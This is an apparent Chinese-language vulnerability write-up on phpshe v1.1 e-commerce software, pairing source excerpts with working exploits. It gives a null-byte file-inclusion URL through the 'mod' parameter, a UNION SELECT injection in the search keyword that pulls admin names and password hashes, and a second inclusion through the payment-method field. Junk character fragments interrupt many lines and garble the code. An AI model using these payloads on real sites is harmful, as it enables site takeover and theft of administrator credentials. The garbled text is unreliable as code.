phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
4 `! a& c$ @, V7 c# J4 {- Z/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
8 T. P9 D2 I' G, U8 L2 ^/* E-Mail : 681796@qq.com
: C7 t+ l/ a# [/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
7 v( i; ~; N! V' X& k/ F!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
, g# R; I( A# e. N9 Q8 F+ oelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
- V- j7 C4 q- X0 R% M5 w- \}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- |: y: f4 x8 D7 S( v!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

1 d2 P' x. S  U( ]3 l4 ~% \. z0×01 包含漏洞
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: |% O* i& S) O+ b- ]! O1 s( ^//首页文件
' ~$ Q  o# @; I1 ]<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
/ w" y- s+ i7 v+ |+ \# X& ?; iinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
9 i" E! R3 f  a, J# X//common 文件 第15行开始
url路由配置
0 J- {* n6 k/ j; {$module = $mod = $act = 'index';
8 @7 D. L) N) ~! I* P' n$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
0 S6 A" s5 ?9 i! n. X$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 N3 X/ H4 \  Z//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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, Q$ j* [7 p$ C, w 0×02 搜索注入
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! l7 N; F/ _9 `* Z<code id="code2">

//product.php文件
( a. T2 {1 H5 t( {1 X- G+ |case 'list':
4 g8 {- V! Z8 D, ^$category_id = intval($id);
: T0 [2 U6 a( N/ S2 F4 M6 @4 h$info = $db->pe_select('category', array('category_id'=>$category_id));
" b/ N: }: _& N# s* E; h6 _//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
. w: }3 V- c, [7 y3 K" f0 dwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
9 ?; h1 `- c9 F2 `, n7 U6 }" S) k$ G$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
0 e& [+ g8 P1 r3 [: |1 `, Z/ _$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! d% n9 P( h# m) [% K+ S}
0 m& V' \! ^5 H* I. ?else {
3 t3 o3 k; Q8 h% @6 e) e+ R+ @$sqlwhere .= " order by `product_id` desc";
}
3 l$ H2 y+ S0 `- E+ c, [: [0 |- m$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
/ \7 m' n+ H  a' U( C! ?% G! b//热卖排行
% B- b5 ~/ ?# R+ e$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$ b2 h; S4 ^' p- i7 e$seo = pe_seo($info['category_name']);
# B" \# S8 b+ w( Qinclude(pe_tpl('product_list.html'));
5 t3 e( R. \4 x, R& {//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
6 }" i' O6 Q# Areturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
, x( @) T- \6 E+ q0 \4 oproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2
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# r7 v3 R3 s" @) B& p, Q<code id="code3">

//order.php

case 'pay':

9 Q; m# Y5 K! r/ D' \% k$order_id = pe_dbhold($_g_id);

' Y* k9 T; W6 R$cache_payway = cache::get('payway');

+ @* v! b' P7 j8 K/ Z, m) vforeach($cache_payway as $k => $v) {

$ S# A! N3 P5 b. b  I. {$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

7 Q$ ^8 N8 ]; \9 f9 Rif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

8 [9 V6 R: Q; i! x9 \$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

9 t& m% T+ K, ^5 x0 [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

, o! ~# y& D* M4 Q- N( X/ N' g0 ]& Lforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

, G1 b( v* g3 ]/ H5 T& S( A  Gelse {

2 V. p0 j7 V% f* qpe_error('支付错误...');

}

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% d, ]& N; z" P- X8 t; S5 t$seo = pe_seo('选择支付方式');

, S" }3 K% _: X0 j5 |! winclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>